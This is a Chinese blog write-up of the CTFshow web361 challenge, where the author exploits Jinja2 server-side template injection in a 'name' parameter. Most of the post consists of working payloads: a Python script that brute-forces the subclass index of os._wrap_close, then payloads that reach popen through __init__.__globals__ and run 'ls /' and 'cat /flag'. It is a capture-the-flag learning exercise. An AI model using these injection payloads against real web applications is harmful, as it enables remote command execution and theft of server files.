当前位置:网站首页>ctfshow-web361(SSTI)
ctfshow-web361(SSTI)
2022-04-23 18:29:00 【m0_62094846】

看到Hello,猜测输入的参数是name


?name={
{[].__class__.__base__.__subclasses__()}}
然后应该是要写脚本跑程序找需要的函数(用的别人的,现在还不会写python脚本)
这里利用os._wrap_close类
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://5e2ef65c-fcb3-4ca5-9502-acab1d21ebc8.challenge.ctf.show/?name={
{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132

然后开始运用
用__init__.__globals__查找popen(能查到就行,不需要位置)
__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

所以 __init__.__globals__应该就是要调用全局变量
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}

这里应该就是调用全局变量中的popen
os.popen() 方法用于从一个命令打开一个管道。(具体的不是很理解,大概应该就是可以使用命令的意思)
popen方法通过p.read()获取终端输出
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

对于借助 open() 函数,并以可读模式(包括 r、r+、rb、rb+)打开的文件,可以调用 read() 函数逐个字节(或者逐个字符)读取文件中的内容。 (可能popen借助了open()函数,不是很清楚)
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

大概能看懂,知道为什么,但是不会用
版权声明
本文为[m0_62094846]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_62094846/article/details/124347670
边栏推荐
- Refcell in rust
- Software test summary
- MySQL auto start settings start with systemctl start mysqld
- Ucosiii transplantation and use, reference punctual atom
- Rust: the output information of println is displayed during the unit test
- According to the result set queried by SQL statement, it is encapsulated as JSON
- Serial port debugging tools cutecom and minicom
- Quantexa CDI(场景决策智能)Syneo平台介绍
- Const keyword, variable and function are decorated with const
- ESP32 LVGL8. 1 - event (event 17)
猜你喜欢

使用 bitnami/postgresql-repmgr 镜像快速设置 PostgreSQL HA

STM32 learning record 0008 - GPIO things 1

With the use of qchart, the final UI interface can be realized. The control of qweight can be added and promoted to a user-defined class. Only the class needs to be promoted to realize the coordinate

Install the yapiupload plug-in in idea and upload the API interface to the Yapi document

Matlab tips (6) comparison of seven filtering methods

kettle庖丁解牛第17篇之文本文件输出

【ACM】509. Fibonacci number (DP Trilogy)

Qt读写XML文件(含源码+注释)

JD-FreeFuck 京东薅羊毛控制面板 后台命令执行漏洞

MySQL auto start settings start with systemctl start mysqld
随机推荐
Daily network security certification test questions (April 12, 2022)
Selenium + webdriver + chrome realize Baidu to search for pictures
CISSP certified daily knowledge points (April 11, 2022)
Queue solving Joseph problem
Qt读写XML文件(含源码+注释)
QT excel operation summary
由tcl脚本生成板子对应的vivado工程
Installation du docker redis
Rust: a simple example of TCP server and client
Mysqldump backup database
ESP32 LVGL8. 1 - BTN button (BTN 15)
kettle庖丁解牛第17篇之文本文件输出
Cutting permission of logrotate file
Keil RVMDK compiled data type
After CANopen starts PDO timing transmission, the heartbeat frame time is wrong, PDO is delayed, and CANopen time axis is disordered
Mysql database backup command -- mysqldump
Halo open source project learning (VII): caching mechanism
The vivado project corresponding to the board is generated by TCL script
Daily CISSP certification common mistakes (April 12, 2022)
Robocode Tutorial 4 - robocode's game physics